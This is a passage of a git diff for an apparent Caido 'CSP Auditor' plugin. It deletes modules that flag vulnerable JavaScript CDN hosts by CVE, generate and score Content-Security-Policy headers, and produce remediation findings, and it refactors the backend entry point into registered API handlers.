AngularJS (end-of-life, inherently vulnerable) - { - domain: "ajax.googleapis.com", - paths: ["/ajax/libs/angularjs/"], - cve: ["CVE-2023-26116", "CVE-2022-25844"], - risk: "AngularJS template injection and sandbox bypass (EOL framework)", - }, - - // Lodash vulnerabilities - { - domain: "cdnjs.cloudflare.com", - paths: ["/ajax/libs/lodash/"], - versions: ["<4.17.21"], - cve: ["CVE-2021-23337"], - risk: "Prototype pollution in Lodash versions < 4.17.21", - }, - - // Moment.js (deprecated, security concerns) - { - domain: "cdnjs.cloudflare.com", - paths: ["/ajax/libs/moment.js/"], - cve: [], - risk: "Moment.js is deprecated and has known security/performance issues", - }, -]; - -export class EnhancedBlacklistManager { - /** - * Check for modern supply chain risks - */ - static checkSupplyChainRisk(domain: string): { - isRisky: boolean; - risk?: string; - severity?: string; - } { - const cleanDomain = this.cleanDomain(domain); - - for (const threat of MODERN_SUPPLY_CHAIN_RISKS) { - if (cleanDomain.includes(threat.domain)) { - return { - isRisky: true, - risk: threat.risk, - severity: threat.severity, - }; - } - } - - return { isRisky: false }; - } - - /** - * Advanced AI/ML service risk analysis - */ - static checkAiMlServiceRisk(domain: string): { - isRisky: boolean; - risk?: string; - severity?: string; - } { - const cleanDomain = this.cleanDomain(domain); - - for (const service of AI_ML_SERVICE_RISKS) { - if (cleanDomain.includes(service.domain)) { - return { - isRisky: true, - risk: service.risk, - severity: service.severity, - }; - } - } - - return { isRisky: false }; - } - - /** - * Web3/Cryptocurrency integration risks - */ - static checkWeb3Risk(domain: string): { - isRisky: boolean; - risk?: string; - severity?: string; - } { - const cleanDomain = this.cleanDomain(domain); - - for (const web3Risk of WEB3_INTEGRATION_RISKS) { - if (cleanDomain.includes(web3Risk.domain)) { - return { - isRisky: true, - risk: web3Risk.risk, - severity: web3Risk.severity, - }; - } - } - - return { isRisky: false }; - } - - /** - * Enhanced user content host detection - */ - static isEnhancedUserContentHost(domain: string): boolean { - const cleanDomain = this.cleanDomain(domain); - - return ENHANCED_USER_CONTENT_HOSTS.some((pattern) => { - if (pattern.startsWith("*")) { - const suffix = pattern.substring(2); - return cleanDomain.endsWith(suffix) || cleanDomain === suffix; - } - return cleanDomain === pattern; - }); - } - - /** - * Advanced vulnerable JS detection with CVE mapping - */ - static checkEnhancedVulnerableJs( - domain: string, - path?: string, - ): { - isVulnerable: boolean; - risk?: string; - cve?: string[]; - versions?: string[]; - } { - const cleanDomain = this.cleanDomain(domain); - - for (const vulnJs of ENHANCED_VULNERABLE_JS) { - if (cleanDomain.includes(vulnJs.domain)) { - // Check path matching if specified - if ( - vulnJs.paths && - vulnJs.paths.length > 0 && - path !== undefined && - path.trim() !== "" - ) { - const pathMatch = vulnJs.paths.some((vulnPath) => - path.includes(vulnPath), - ); - if (pathMatch) { - return { - isVulnerable: true, - risk: vulnJs.risk, - cve: vulnJs.cve, - versions: vulnJs.versions, - }; - } - } else if (!vulnJs.paths) { - // Domain-level vulnerability - return { - isVulnerable: true, - risk: vulnJs.risk, - cve: vulnJs.cve, - versions: vulnJs.versions, - }; - } - } - } - - return { isVulnerable: false }; - } - - /** - * Comprehensive modern threat analysis - */ - static analyzeModernThreats( - domain: string, - path?: string, - ): Array<{ - type: string; - severity: string; - risk: string; - cve?: string[]; - }> { - const threats: Array<{ - type: string; - severity: string; - risk: string; - cve?: string[]; - }> = []; - - // Check all modern threat categories - const supplyChain = this.checkSupplyChainRisk(domain); - if (supplyChain.isRisky) { - threats.push({ - type: "supply-chain", - severity: - supplyChain.severity !== undefined && - supplyChain.severity.trim() !== "" - ? supplyChain.severity - : "medium", - risk: - supplyChain.risk !== undefined && supplyChain.risk.trim() !== "" - ? supplyChain.risk - : "Supply chain risk detected", - }); - } - - const aiMl = this.checkAiMlServiceRisk(domain); - if (aiMl.isRisky) { - threats.push({ - type: "ai-ml-service", - severity: - aiMl.severity !== undefined && aiMl.severity.trim() !== "" - ? aiMl.severity - : "medium", - risk: - aiMl.risk !== undefined && aiMl.risk.trim() !== "" - ? aiMl.risk - : "AI/ML service integration risk", - }); - } - - const web3 = this.checkWeb3Risk(domain); - if (web3.isRisky) { - threats.push({ - type: "web3-integration", - severity: - web3.severity !== undefined && web3.severity.trim() !== "" - ? web3.severity - : "high", - risk: - web3.risk !== undefined && web3.risk.trim() !== "" - ? web3.risk - : "Web3/Cryptocurrency integration risk", - }); - } - - const vulnJs = this.checkEnhancedVulnerableJs(domain, path); - if (vulnJs.isVulnerable) { - threats.push({ - type: "vulnerable-js", - severity: "high", - risk: - vulnJs.risk !== undefined && vulnJs.risk.trim() !== "" - ? vulnJs.risk - : "Vulnerable JavaScript library detected", - cve: vulnJs.cve, - }); - } - - return threats; - } - - /** - * Privacy and tracking risk assessment - */ - static checkPrivacyTrackingRisk(domain: string): { - isTracking: boolean; - risk?: string; - severity?: string; - } { - const cleanDomain = this.cleanDomain(domain); - - const allTrackingRisks = [...SOCIAL_EMBED_RISKS, ...MODERN_TRACKING_RISKS]; - - for (const tracker of allTrackingRisks) { - if (cleanDomain.includes(tracker.domain)) { - return { - isTracking: true, - risk: tracker.risk, - severity: tracker.severity, - }; - } - } - - return { isTracking: false }; - } - - private static cleanDomain(domain: string): string { - return domain - .toLowerCase() - .replace(/^https?:\/\//, "") - .replace(/\/.*$/, "") - .replace(/^www\./, ""); - } - - /** - * Get comprehensive threat intelligence summary - */ - static getThreatIntelligenceSummary(): { - supplyChainThreats: number; - aiMlRisks: number; - web3Risks: number; - userContentHosts: number; - vulnerableJsLibraries: number; - trackingServices: number; - } { - return { - supplyChainThreats: MODERN_SUPPLY_CHAIN_RISKS.length, - aiMlRisks: AI_ML_SERVICE_RISKS.length, - web3Risks: WEB3_INTEGRATION_RISKS.length, - userContentHosts: ENHANCED_USER_CONTENT_HOSTS.length, - vulnerableJsLibraries: ENHANCED_VULNERABLE_JS.length, - trackingServices: [...SOCIAL_EMBED_RISKS, ...MODERN_TRACKING_RISKS] - .length, - }; - } -} diff --git a/packages/backend/src/enhanced-policy-generator.ts b/packages/backend/src/enhanced-policy-generator.ts deleted file mode 100644 index 2484f3a..0000000 --- a/packages/backend/src/enhanced-policy-generator.ts +++ /dev/null @@ -1,480 +0,0 @@ -import type { CspAnalysisResult } from "./types"; - -/** - * Next-Generation CSP Policy Generator - * Advanced recommendations beyond legacy limitations - */ -export class EnhancedPolicyGenerator { - /** - * Generate modern, secure CSP policy recommendations - */ - static generateSecurePolicy( - options: { - allowInlineStyles?: boolean; - allowInlineScripts?: boolean; - useStrictDynamic?: boolean; - enableTrustedTypes?: boolean; - allowDataUris?: boolean; - includeCsp3Features?: boolean; - } = {}, - ): string { - const directives: string[] = []; - - // Modern default-src (strict by default) - directives.push("default-src 'self'"); - - // Enhanced script-src with modern security - let scriptSrc = "script-src 'self'"; - - if (options.useStrictDynamic === true) { - // CSP Level 3 strict-dynamic for modern apps - scriptSrc += " 'strict-dynamic'"; - } - - if (options.allowInlineScripts === true) { - // Discouraged but provide guidance - scriptSrc += " 'unsafe-inline'"; - } else { - // Recommend nonce/hash approach - scriptSrc += " 'nonce-{GENERATED_NONCE}'"; - } - - if (options.allowDataUris !== true) { - // Block data: URIs by default - scriptSrc += " 'unsafe-eval'"; // Remove this - typo, should not add unsafe-eval when blocking data - scriptSrc = scriptSrc.replace(" 'unsafe-eval'", ""); // Fix the typo - } - - directives.push(scriptSrc); - - // Modern style-src - let styleSrc = "style-src 'self'"; - if (options.allowInlineStyles === true) { - styleSrc += " 'unsafe-inline'"; - } else { - styleSrc += " 'nonce-{GENERATED_NONCE}'"; - } - directives.push(styleSrc); - - // Security-focused directives - directives.push("object-src 'none'"); // Block plugins/objects entirely - directives.push("base-uri 'self'"); // Prevent base tag injection - directives.push("frame-ancestors 'self'"); // Clickjacking protection - directives.push("form-action 'self'"); // Form submission protection - directives.push("upgrade-insecure-requests"); // Force HTTPS - - // CSP Level 3 features - if ( - options.enableTrustedTypes === true && - options.includeCsp3Features === true - ) { - directives.push("trusted-types default"); - directives.push("require-trusted-types-for 'script'"); - } - - // Modern media directives - directives.push("media-src 'self' data:"); - directives.push("img-src 'self' data: https:"); - directives.push("font-src 'self' data:"); - - // Worker and frame restrictions - directives.push("worker-src 'self'"); - directives.push("child-src 'self'"); - directives.push("frame-src 'self'"); - - // Manifest and prefetch - directives.push("manifest-src 'self'"); - directives.push("prefetch-src 'self'"); - - return directives.join("; ") + ";"; - } - - /** - * Generate CSP based on analysis of existing policies - */ - static generatePolicyFromAnalysis(analyses: CspAnalysisResult[]): { - recommendedPolicy: string; - reasoning: string[]; - securityImprovements: string[]; - } { - const reasoning: string[] = []; - const securityImprovements: string[] = []; - - // Analyze current vulnerabilities - const allVulns = analyses.flatMap((a) => a.vulnerabilities); - const vulnTypes = new Set(allVulns.map((v) => v.type)); - - reasoning.push( - `Analyzed ${analyses.length} CSP policies with ${allVulns.length} vulnerabilities`, - ); - - // Determine security level needed - const hasHighSeverity = allVulns.some((v) => v.severity === "high"); - const hasScriptVulns = - vulnTypes.has("script-wildcard") || - vulnTypes.has("script-unsafe-inline") || - vulnTypes.has("script-unsafe-eval"); - - let securityLevel: "strict" | "balanced" | "permissive" = "balanced"; - - if (hasHighSeverity || hasScriptVulns) { - securityLevel = "strict"; - reasoning.push( - "High-severity vulnerabilities detected - recommending strict policy", - ); - } - - // Generate policy based on analysis - const policyOptions = { - allowInlineStyles: securityLevel !== "strict", - allowInlineScripts: false, // Never recommend this - useStrictDynamic: securityLevel === "strict", - enableTrustedTypes: true, - allowDataUris: false, // securityLevel === 'permissive' - removed invalid comparison - includeCsp3Features: true, - }; - - const recommendedPolicy = this.generateSecurePolicy(policyOptions); - - // Generate security improvements - if (vulnTypes.has("script-wildcard")) { - securityImprovements.push( - "Remove script-src wildcards and specify exact domains", - ); - } - - if (vulnTypes.has("script-unsafe-inline")) { - securityImprovements.push( - "Replace 'unsafe-inline' with nonces or hashes", - ); - } - - if (vulnTypes.has("deprecated-header")) { - securityImprovements.push("Use modern Content-Security-Policy header"); - } - - if (vulnTypes.has("missing-trusted-types")) { - securityImprovements.push("Enable Trusted Types for DOM XSS protection"); - } - - return { - recommendedPolicy, - reasoning, - securityImprovements, - }; - } - - /** - * Generate CSP for specific application types - */ - static generatePolicyForAppType( - appType: "spa" | "static" | "ecommerce" | "media" | "enterprise", - ): { - policy: string; - description: string; - additionalRecommendations: string[]; - } { - const recommendations: string[] = []; - let policy: string; - let description: string; - - switch (appType) { - case "spa": - policy = this.generateSecurePolicy({ - allowInlineStyles: false, - allowInlineScripts: false, - useStrictDynamic: true, - enableTrustedTypes: true, - includeCsp3Features: true, - }); - description = - "Strict CSP for Single Page Applications with modern security features"; - recommendations.push( - "Implement nonce generation for dynamic script loading", - ); - recommendations.push("Use Trusted Types to prevent DOM XSS"); - recommendations.push( - "Consider using 'strict-dynamic' for third-party script dependencies", - ); - break; - - case "static": - policy = - "default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; " + - "img-src 'self' data: https:; font-src 'self'; base-uri 'self'; " + - "frame-ancestors 'none'; upgrade-insecure-requests;"; - description = - "Ultra-strict CSP for static websites with minimal attack surface"; - recommendations.push( - "Remove 'unsafe-inline' from style-src when possible", - ); - recommendations.push("Use frame-ancestors 'none' to prevent embedding"); - break; - - case "ecommerce": - policy = - this.generateSecurePolicy({ - allowInlineStyles: true, // Payment forms often need inline styles - allowInlineScripts: false, - useStrictDynamic: false, - enableTrustedTypes: true, - }) + - " connect-src 'self' https://api.stripe.com https://api.paypal.com;"; - description = - "Balanced CSP for e-commerce with payment processor integration"; - recommendations.push( - "Whitelist only necessary payment processor domains", - ); - recommendations.push( - "Use subresource integrity (SRI) for payment scripts", - ); - recommendations.push("Monitor for new payment integration domains"); - break; - - case "media": - policy = this.generateSecurePolicy({ - allowInlineStyles: true, - allowInlineScripts: false, - }).replace( - "media-src 'self' data:", - "media-src 'self' data: https: blob:", - ); - description = "Media-optimized CSP allowing various content sources"; - recommendations.push( - "Be cautious with blob: URLs as they can be exploited", - ); - recommendations.push( - "Consider using specific CDN domains instead of https:", - ); - break; - - case "enterprise": - policy = - this.generateSecurePolicy({ - allowInlineStyles: false, - allowInlineScripts: false, - useStrictDynamic: true, - enableTrustedTypes: true, - includeCsp3Features: true, - }) + " report-uri /csp-report; report-to csp-endpoint;"; - description = "Enterprise-grade CSP with comprehensive monitoring"; - recommendations.push( - "Implement CSP reporting endpoint for violation monitoring", - ); - recommendations.push("Use CSP report-to directive for modern browsers"); - recommendations.push( - "Regularly audit and update CSP based on violation reports", - ); - recommendations.push( - "Train development team on CSP-compliant coding practices", - ); - break; - - default: - policy = this.generateSecurePolicy(); - description = "General-purpose secure CSP"; - } - - return { - policy, - description, - additionalRecommendations: recommendations, - }; - } - - /** - * Generate migration strategy from current to recommended policy - */ - static generateMigrationStrategy( - currentAnalysis: CspAnalysisResult, - targetPolicy: string, - ): { - steps: Array<{ - step: number; - description: string; - policy: string; - risk: "low" | "medium" | "high"; - }>; - timeline: string; - riskAssessment: string; - } { - const steps: Array<{ - step: number; - description: string; - policy: string; - risk: "low" | "medium" | "high"; - }> = []; - - // Phase 1: Deploy in report-only mode - steps.push({ - step: 1, - description: - "Deploy recommended policy in Content-Security-Policy-Report-Only mode", - policy: targetPolicy.replace(/;$/, "; report-uri /csp-report;"), - risk: "low", - }); - - // Phase 2: Fix critical violations - steps.push({ - step: 2, - description: - "Fix critical violations reported in phase 1 (typically 1-2 weeks)", - policy: "Continue monitoring report-only mode", - risk: "low", - }); - - // Phase 3: Gradual enforcement - steps.push({ - step: 3, - description: "Deploy enforcing policy with relaxed settings", - policy: targetPolicy - .replace("'strict-dynamic'", "'unsafe-inline'") - .replace("'none'", "'self'"), - risk: "medium", - }); - - // Phase 4: Full enforcement - steps.push({ - step: 4, - description: "Deploy final strict policy after validation", - policy: targetPolicy, - risk: "high", - }); - - const timeline = - "Recommended timeline: 4-8 weeks depending on application complexity"; - const riskAssessment = - "Progressive deployment minimizes risk of breaking application functionality"; - - return { - steps, - timeline, - riskAssessment, - }; - } - - /** - * Validate and score CSP policy strength - */ - static scorePolicyStrength(policy: string): { - score: number; // 0-100 - grade: "A+" | "A" | "B" | "C" | "D" | "F"; - strengths: string[]; - weaknesses: string[]; - recommendations: string[]; - } { - let score = 0; - const strengths: string[] = []; - const weaknesses: string[] = []; - const recommendations: string[] = []; - - // Parse policy directives - const directives = policy - .split(";") - .map((d) => d.trim()) - .filter((d) => d); - const directiveMap = new Map<string, string[]>(); - - for (const directive of directives) { - const parts = directive.split(/\s+/); - const name = parts[0]; - const values = parts.slice(1); - if (name !== undefined && name.trim() !== "") { - directiveMap.set(name, values); - } - } - - // Scoring criteria - - // Essential directives (40 points total) - const essential = ["default-src", "script-src", "object-src", "base-uri"]; - let essentialCount = 0; - for (const dir of essential) { - if (directiveMap.has(dir)) { - essentialCount++; - score += 10; - } else { - weaknesses.push(`Missing essential directive: ${dir}`); - } - } - - // Security features (30 points total) - const objectSrc = directiveMap.get("object-src"); - if (objectSrc && objectSrc.includes("'none'")) { - score += 10; - strengths.push("Objects/plugins completely blocked"); - } - - if (directiveMap.has("upgrade-insecure-requests")) { - score += 10; - strengths.push("Enforces HTTPS"); - } - - if (directiveMap.has("frame-ancestors")) { - score += 10; - strengths.push("Clickjacking protection enabled"); - } - - // Modern features (20 points total) - if (directiveMap.has("trusted-types")) { - score += 10; - strengths.push("Trusted Types enabled"); - } - - if (directiveMap.has("require-trusted-types-for")) { - score += 10; - strengths.push("Trusted Types required for scripts"); - } - - // Penalize unsafe practices (-30 points possible) - const scriptSrc = directiveMap.get("script-src") || []; - if (scriptSrc.includes("*")) { - score -= 15; - weaknesses.push("Script wildcards allow any domain"); - } - if (scriptSrc.includes("'unsafe-inline'")) { - score -= 10; - weaknesses.push("Unsafe inline scripts allowed"); - } - if (scriptSrc.includes("'unsafe-eval'")) { - score -= 5; - weaknesses.push("Dynamic code execution allowed"); - } - - // Bonus for reporting (10 points) - if (directiveMap.has("report-uri") || directiveMap.has("report-to")) { - score += 10; - strengths.push("CSP violation reporting configured"); - } - - // Determine grade - let grade: "A+" | "A" | "B" | "C" | "D" | "F"; - if (score >= 95) grade = "A+"; - else if (score >= 85) grade = "A"; - else if (score >= 75) grade = "B"; - else if (score >= 65) grade = "C"; - else if (score >= 55) grade = "D"; - else grade = "F"; - - // Generate recommendations - if (score < 80) { - recommendations.push("Consider implementing a stricter CSP policy"); - } - if (!directiveMap.has("trusted-types")) { - recommendations.push( - "Enable Trusted Types for enhanced DOM XSS protection", - ); - } - if (!directiveMap.has("report-uri")) { - recommendations.push("Add CSP reporting to monitor violations"); - } - - return { - score: Math.max(0, Math.min(100, score)), - grade, - strengths, - weaknesses, - recommendations, - }; - } -} diff --git a/packages/backend/src/findings-generator.ts b/packages/backend/src/findings-generator.ts deleted file mode 100644 index f1a42f0..0000000 --- a/packages/backend/src/findings-generator.ts +++ /dev/null @@ -1,245 +0,0 @@ -import type { SDK } from "caido:plugin"; -import type { Request, Response } from "caido:utils"; - -import type { CspVulnerability } from "./types"; -import { VULNERABILITY_RULES } from "./vulnerability-rules"; - -export class FindingsGenerator { - private static readonly REPORTER_NAME = "CSP Auditor"; - - static async createFinding( - vulnerability: CspVulnerability, - request: unknown, // Caido Request object - response: unknown, // Caido Response object - sdk: SDK, - ): Promise<void> { - try { - const rule = VULNERABILITY_RULES[vulnerability.type]; - - const finding = { - title: rule.title, - description: this.generateDetailedDescription(vulnerability, rule), - reporter: this.REPORTER_NAME, - request: request as Request, - response: response as Response, - severity: this.mapSeverityToCaido(vulnerability.severity), - }; - - await sdk.findings.create(finding); - sdk.console.log( - `Created finding: ${rule.title} for ${vulnerability.directive}`, - ); - } catch (error) { - sdk.console.error( - `Failed to create finding: ${error instanceof Error ? error.message : String(error)}`, - ); - } - } - - static async createMultipleFindings( - vulnerabilities: CspVulnerability[], - request: unknown, - response: unknown, - sdk: SDK, - ): Promise<void> { - const promises = vulnerabilities.map((vuln) => - this.createFinding(vuln, request, response, sdk), - ); - - try { - // eslint-disable-next-line compat/compat - await Promise.all(promises); - sdk.console.log(`Created ${vulnerabilities.length} CSP findings`); - } catch (error) { - sdk.console.error( - `Failed to create some findings: ${error instanceof Error ? error.message : String(error)}`, - ); - } - } - - private static generateDetailedDescription( - vulnerability: CspVulnerability, - rule: (typeof VULNERABILITY_RULES)[keyof typeof VULNERABILITY_RULES], - ): string { - const sections = [ - `<h3>Vulnerability Details</h3>`, - `<p><strong>CSP Directive:</strong> ${vulnerability.directive}</p>`, - `<p><strong>Vulnerable Value:</strong> <code>${vulnerability.value}</code></p>`, - `<p><strong>Severity:</strong> ${vulnerability.severity.toUpperCase()}</p>`, - - `<h3>Description</h3>`, - `<p>${rule.description}</p>`, - - `<h3>Remediation</h3>`, - `<p>${rule.remediation}</p>`, - ]; - - // Add CWE information if available - if (typeof rule.cweId === "number" && rule.cweId > 0) { - sections.push( - `<h3>References</h3>`, - `<p><strong>CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/${rule.cweId}.html">CWE-${rule.cweId}</a></p>`, - ); - } - - // Add specific guidance based on vulnerability type - sections.push(this.getSpecificGuidance(vulnerability)); - - return sections.join("\n"); - } - - private static getSpecificGuidance(vulnerability: CspVulnerability): string { - switch (vulnerability.type) { - case "script-unsafe-inline": - return ` - <h3>Secure Alternatives</h3> - <p>Instead of 'unsafe-inline', consider:</p> - <ul> - <li>Use nonces: <code>'nonce-randomValue123'</code></li> - <li>Use hashes: <code>'sha256-base64HashValue'</code></li> - <li>Move inline scripts to external files</li> - <li>Use event listeners instead of inline event handlers</li> - </ul> - `; - - case "script-wildcard": - return ` - <h3>Secure Configuration</h3> - <p>Replace wildcard (*) with specific domains:</p> - <ul> - <li><code>'self'</code> - for same-origin scripts</li> - <li><code>https://trusted-cdn.example.com</code> - for specific CDNs</li> - <li>Use Subresource Integrity (SRI) for third-party scripts</li> - </ul> - `; - - case "user-content-host": - return ` - <h3>Risk Mitigation</h3> - <p>If you must use user content domains:</p> - <ul> - <li>Implement Subresource Integrity (SRI) checks</li> - <li>Use specific paths instead of allowing entire domain</li> - <li>Consider hosting resources on your own infrastructure</li> - <li>Regularly audit allowed resources</li> - </ul> - `; - - case "vulnerable-js-host": - return ` - <h3>Library Security</h3> - <p>To address vulnerable JavaScript libraries:</p> - <ul> - <li>Update to the latest secure versions</li> - <li>Use specific version URLs instead of latest/auto-updating links</li> - <li>Consider self-hosting critical libraries</li> - <li>Implement SRI to prevent tampering</li> - </ul> - `; - - case "deprecated-header": - return ` - <h3>Header Migration</h3> - <p>Update your CSP headers:</p> - <ul> - <li>Replace <code>X-Content-Security-Policy</code> with <code>Content-Security-Policy</code></li> - <li>Replace <code>X-WebKit-CSP</code> with <code>Content-Security-Policy</code></li> - <li>Test thoroughly with modern browsers</li> - </ul> - `; - - default: - return ` - <h3>Additional Resources</h3> - <p>For more information about CSP security:</p> - <ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">MDN CSP Documentation</a></li> - <li><a href="https://csp-evaluator.withgoogle.com/">Google CSP Evaluator</a></li> - <li><a href="https://report-uri.com/home/generate">CSP Policy Generator</a></li> - </ul> - `; - } - } - - private static mapSeverityToCaido( - severity: CspVulnerability["severity"], - ): string { - // Map our severity levels to Caido's expected format - const severityMap = { - high: "high", - medium: "medium", - low: "low", - info: "info", - }; - - return severityMap[severity] || "info"; - } - - static generateSummaryReport(vulnerabilities: CspVulnerability[]): string { - if (vulnerabilities.length === 0) { - return "No CSP vulnerabilities detected."; - } - - const stats = this.getVulnerabilityStats(vulnerabilities); - const groupedByType = this.groupByType(vulnerabilities); - - const sections = [ - `<h2>CSP Analysis Summary</h2>`, - `<p><strong>Total Issues Found:</strong> ${stats.total}</p>`, - `<ul>`, - ` <li>High Severity: ${stats.high}</li>`, - ` <li>Medium Severity: ${stats.medium}</li>`, - ` <li>Low Severity: ${stats.low}</li>`, - ` <li>Informational: ${stats.info}</li>`, - `</ul>`, - `<h3>Issues by Type</h3>`, - ]; - - for (const [type, vulns] of Object.entries(groupedByType)) { - const rule = - VULNERABILITY_RULES[type as keyof typeof VULNERABILITY_RULES]; - sections.push( - `<p><strong>${rule.title}:</strong> ${vulns.length} instance(s)</p>`, - ); - } - - return sections.join("\n"); - } - - private static getVulnerabilityStats( - vulnerabilities: CspVulnerability[], - ): Record<string, number> { - const stats = { high: 0, medium: 0, low: 0, info: 0, total: 0 }; - - for (const vuln of vulnerabilities) { - stats[vuln.severity]++; - stats.total++; - } - - return stats; - } - - private static groupByType( - vulnerabilities: CspVulnerability[], - ): Record<string, CspVulnerability[]> { - const grouped: Record<string, CspVulnerability[]> = {}; - - for (const vuln of vulnerabilities) { - if (!grouped[vuln.type]) { - grouped[vuln.type] = []; - } - grouped[vuln.type]?.push(vuln); - } - - return grouped; - } - - static cleanupOldFindings( - sdk: SDK, - maxAge: number = 24 * 60 * 60 * 1000, - ): void { - // This would need to be implemented based on Caido's findings API - // For now, we'll just log the intent - sdk.console.log(`Would cleanup CSP findings older than ${maxAge}ms`); - } -} diff --git a/packages/backend/src/index.ts b/packages/backend/src/index.ts index 308d974..7931f80 100644 --- a/packages/backend/src/index.ts +++ b/packages/backend/src/index.ts @@ -1,553 +1,84 @@ -/* eslint-disable compat/compat */ import type { DefineAPI, DefineEvents, SDK } from "caido:plugin"; -import type { Request } from "caido:utils"; +import type { BackendEventMap } from "shared"; + +import { + apiClearCache, + apiExportFindings, + apiGetAllAnalyses, + apiGetAnalysis, + apiGetBypassRecords, + apiGetCheckSettings, + apiGetFindingsEnabled, + apiGetScopeEnabled, + apiGetSummary, + apiSetCheckSettings, + apiSetFindingsEnabled, + apiSetScopeEnabled, + apiUpdateSingleCheck, +} from "./api"; +import { extractCspHeaders } from "./engine"; +import { setSDK } from "./sdk"; +import { getScopeEnabled, processResponse } from "./services"; +import type { BackendEvents as BackendEventsType } from "./types"; -import { getBypassCount, getCSPBypassData } from "./bypass-database"; -import { CspParser } from "./csp-parser"; -import { EnhancedCspAnalyzer } from "./enhanced-analyzer"; -import type { CspAnalysisResult, CspPolicy, CspVulnerability } from "./types"; - -const analysisCache = new Map<string, CspAnalysisResult>(); -let respectScope = true; -let createFindings = false; - -// Default CSP check settings - all enabled by default -let cspCheckSettings: Record<string, boolean> = { - "script-wildcard": true, - "script-unsafe-inline": true, - "script-unsafe-eval": true, - "script-data-uri": true, - "object-wildcard": true, - "jsonp-bypass-risk": true, - "angularjs-bypass": true, - "ai-ml-host": true, - "web3-host": true, - "cdn-supply-chain": true, - "missing-trusted-types": true, - "missing-require-trusted-types": true, - "missing-essential-directive": true, - "permissive-base-uri": true, - "style-wildcard": true, - "style-unsafe-inline": true, - "deprecated-header": true, - "user-content-host": true, - "vulnerable-js-host": true, - "nonce-unsafe-inline-conflict": true, -}; - -const analyzeCspHeaders = ( - sdk: SDK, - requestId: string, -): Promise<CspAnalysisResult | undefined> => { - try { - if (analysisCache.has(requestId)) { - return Promise.resolve(analysisCache.get(requestId)!); - } - - return Promise.resolve({ - requestId, - policies: [], - vulnerabilities: [], - analyzedAt: new Date(), - }); - } catch (error) { - sdk.console.error( - `CSP analysis failed for ${requestId}: ${error instanceof Error ? error.message : String(error)}`, - ); - return Promise.resolve(undefined); - } -}; - -const getCspAnalysis = ( - sdk: SDK, - requestId: string, -): Promise<CspAnalysisResult | undefined> => { - return Promise.resolve(analysisCache.get(requestId) || undefined); -}; - -const getAllCspAnalyses = (sdk: SDK): Promise<CspAnalysisResult[]> => { - return Promise.resolve( - Array.from(analysisCache.values()).sort( - (a, b) => b.analyzedAt.getTime() - a.analyzedAt.getTime(), - ), - ); -}; - -const getCspStats = (sdk: SDK): Promise<Record<string, unknown>> => { - try { - const analyses = Array.from(analysisCache.values()); - - const stats = { - totalAnalyses: analyses.length, - totalVulnerabilities: analyses.reduce( - (sum, analysis) => sum + analysis.vulnerabilities.length, - 0, - ), - severityStats: { - high: analyses.reduce( - (sum, a) => - sum + a.vulnerabilities.filter((v) => v.severity === "high").length, - 0, - ), - medium: analyses.reduce( - (sum, a) => - sum + - a.vulnerabilities.filter((v) => v.severity === "medium").length, - 0, - ), - low: analyses.reduce( - (sum, a) => - sum + a.vulnerabilities.filter((v) => v.severity === "low").length, - 0, - ), - info: analyses.reduce( - (sum, a) => - sum + a.vulnerabilities.filter((v) => v.severity === "info").length, - 0, - ), - }, - typeStats: {}, - lastAnalyzed: analyses.length > 0 ? new Date() : undefined, - }; - - for (const analysis of analyses) { - for (const vuln of analysis.vulnerabilities) { - const currentCount = (stats.typeStats as Record<string, number>)[ - vuln.type - ]; - (stats.typeStats as Record<string, number>)[vuln.type] = - (typeof currentCount === "number" ? currentCount : 0) + 1; - } - } - - return Promise.resolve(stats); - } catch (error) { - return Promise.resolve({ - totalAnalyses: 0, - totalVulnerabilities: 0, - severityStats: { high: 0, medium: 0, low: 0, info: 0 }, - typeStats: {}, - lastAnalyzed: undefined, - }); - } -}; - -// Helper function to extract host and path from analysis -const extractHostAndPath = (analysis: CspAnalysisResult) => { - const firstPolicy = analysis.policies[0]; +export type API = DefineAPI<{ + getAllAnalyses: typeof apiGetAllAnalyses; + getAnalysis: typeof apiGetAnalysis; + getSummary: typeof apiGetSummary; + clearCache: typeof apiClearCache; + getScopeEnabled: typeof apiGetScopeEnabled; + setScopeEnabled: typeof apiSetScopeEnabled; + getFindingsEnabled: typeof apiGetFindingsEnabled; + setFindingsEnabled: typeof apiSetFindingsEnabled; + getCheckSettings: typeof apiGetCheckSettings; + setCheckSettings: typeof apiSetCheckSettings; + updateSingleCheck: typeof apiUpdateSingleCheck; + exportFindings: typeof apiExportFindings; + getBypassRecords: typeof apiGetBypassRecords; +}>; - if (firstPolicy?.url !== undefined && firstPolicy.url.trim() !== "") { +export type Events = DefineEvents<BackendEventMap>; + +export function init(sdk: SDK<API, BackendEventsType>) { + setSDK(sdk); + + sdk.api.register("getAllAnalyses", apiGetAllAnalyses); + sdk.api.register("getAnalysis", apiGetAnalysis); + sdk.api.register("getSummary", apiGetSummary); + sdk.api.register("clearCache", apiClearCache); + sdk.api.register("getScopeEnabled", apiGetScopeEnabled); + sdk.api.register("setScopeEnabled", apiSetScopeEnabled); + sdk.api.register("getFindingsEnabled", apiGetFindingsEnabled); + sdk.api.register("setFindingsEnabled", apiSetFindingsEnabled); + sdk.api.register("getCheckSettings", apiGetCheckSettings); + sdk.api.register("setCheckSettings", apiSetCheckSettings); + sdk.api.register("updateSingleCheck", apiUpdateSingleCheck); + sdk.api.register("exportFindings", apiExportFindings); + sdk.api.register("getBypassRecords", apiGetBypassRecords); + + sdk.events.onInterceptResponse(async (_sdk, request, response) => { try { - let urlToparse = firstPolicy.url; - if ( - !urlToparse.startsWith("http://") && - !urlToparse.startsWith("https://") - ) { - urlToparse = "https://" + urlToparse; - } - - const url = new URL(urlToparse); - return { - host: url.hostname, - path: url.pathname || "/", - }; - } catch (error) { - const parts = firstPolicy.url?.split("/") ?? []; - if (parts.length > 0) { - const firstPart = parts[0]; - let hostPart = "N/A"; - if ( - firstPart !== null && - firstPart !== undefined && - firstPart.trim() !== "" - ) { - hostPart = firstPart; - } - return { - host: hostPart, - path: "/", - }; - } - } - } - - return { - host: "N/A", - path: "N/A", - }; -}; - -const exportCspFindings = async ( - sdk: SDK, - format: "json" | "csv" = "json", -): Promise<string> => { - const analyses = await getAllCspAnalyses(sdk); - const allVulnerabilities = analyses.flatMap((a) => a.vulnerabilities); - - if (format === "json") { - const enrichedFindings = allVulnerabilities.map((vuln) => { - const analysis = analyses.find((a) => a.requestId === vuln.requestId); - const hostPath = analysis - ? extractHostAndPath(analysis) - : { host: "N/A", path: 